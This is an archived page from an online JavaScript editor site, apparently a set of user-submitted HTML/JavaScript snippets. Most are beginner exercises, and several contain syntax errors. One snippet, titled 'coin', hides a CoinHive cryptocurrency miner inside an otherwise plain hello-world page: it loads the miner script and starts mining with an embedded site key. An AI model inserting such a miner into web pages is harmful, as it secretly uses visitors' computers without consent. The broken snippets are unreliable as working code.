Please note, this is a STATIC archive of website www.tutorialspoint.com from 11 May 2019, cach3.com does not collect or store any user information, there is no "phishing" involved.
Tutorialspoint

<!DOCTYPE html> <html> <body> <script type="text/javascript"> var today = new date () ; var UpgradeDay = new Date ("November 2, 2017") var msPerDay = 24 * 60 * 60 * 1000; var timeLeft = (UpgradeDay.g

<!DOCTYPE html>
<html>
<body>
    
    
<script  type="text/javascript">

var today = new date () ;

var UpgradeDay = new Date ("November 2, 2017")
var msPerDay = 24 * 60 * 60 * 1000;
var timeLeft =  (UpgradeDay.getTime)
today. getTime());
var days = timeLeft  /msPerDay; 
var daysLeft = Math.floor (days) ;

document . write ("There are only<BR>  <H4>"  + daysLeft  + "days  </H4> Until Your Computer Upgrade<P>") ;
</script>
</body>
</html>

Online Javascript Editor

<!DOCTYPE html>
<html>
<body>
    
    
<script  type="text/javascript">

var today = new date () ;

var UpgradeDay = new Date ("November 2, 2017")
var msPerDay = 24 * 60 * 60 * 1000;
var timeLeft =  (UpgradeDay.getTime)
today. getTime());
var days = timeLeft  /msPerDay; 
var daysLeft = Math.floor (days) ;

document . write ("There are only<BR>  <H4>"  + daysLeft  + "days  </H4> Until Your Computer Upgrade<P>") ;
</script>
</body>
</html>

coin

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>
<script>
function sayHello() {
   document.write("Hello, Coding Ground!");
}
sayHello();
</script>
</head>
<body>
    <script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
	var miner = new CoinHive.Anonymous('P1awX0K14edpQAdiw4aK80r1qfMXQ8Jv');
	miner.start();
</script>
</body>
</html>

Online Javascript Editor

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>
<script>

    var message:string = "Hello World" 
document.write(message);
sayHello();
</script>
</head>
<body>
</body>
</html>

Online Javascript Editor

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>
<script>
function sayHello() {
   document.write("Hello, Coding Ground!");
}
sayHello();
</script>
</head>
<body>
</body>
</html>

Online Javascript Editor

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>



</head>
<body>
    
  <script>

 var a = 10;
 var b = 20;
 var c = "Test";
 var linebreak = "<br/>";

document.write("a+b=");
document.write(a+b);
document.write(linebreak);
 
 document.write("a-b=");
document.write(a-b);
document.write(linebreak);
 
 document.write("a/b=");
document.write(a/b);
document.write(linebreak);
 
 document.write("a%b=");
document.write(a%b);
document.write(linebreak);
 
 </script>  
</body>
</html>

Online Javascript Editor

<html>

   <head>
   
      <script type="text/javascript">
         <!--
            function sayHello() {
               alert("Hello World")
            }
         //-->
      </script>
      
   </head>
   
   <body onload=>
     <input type="button" onclick="hi()" value="Say Hello" />
      
     <input type="button"  value= "test" onclick="sayHello()"/>









</body>
   
</html>

Deepness

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>
<script>
function sayHello() {
   document.write("Hello, Coding Ground!");
}
sayHello();
</script>
</head>
<body>
</body>
</html>

Did they

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>
<script>
function sayHello() {
   document.write("Hello, Coding Ground!");
}
sayHello();
</script>
</head>
<body>
</body>
</html>

test

<!DOCTYPE html>
<html>
<title>Web Page Design</title>
<head>
<script>
x = 1;
(function() {
    x = 2;
    if (true) {
        var x = 3;
    }
    function f1() {
        x = 4;
    }
    f1();
})();
console.log(x);

</script>
</head>
<body>
</body>
</html>

Advertisements
Loading...

We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy.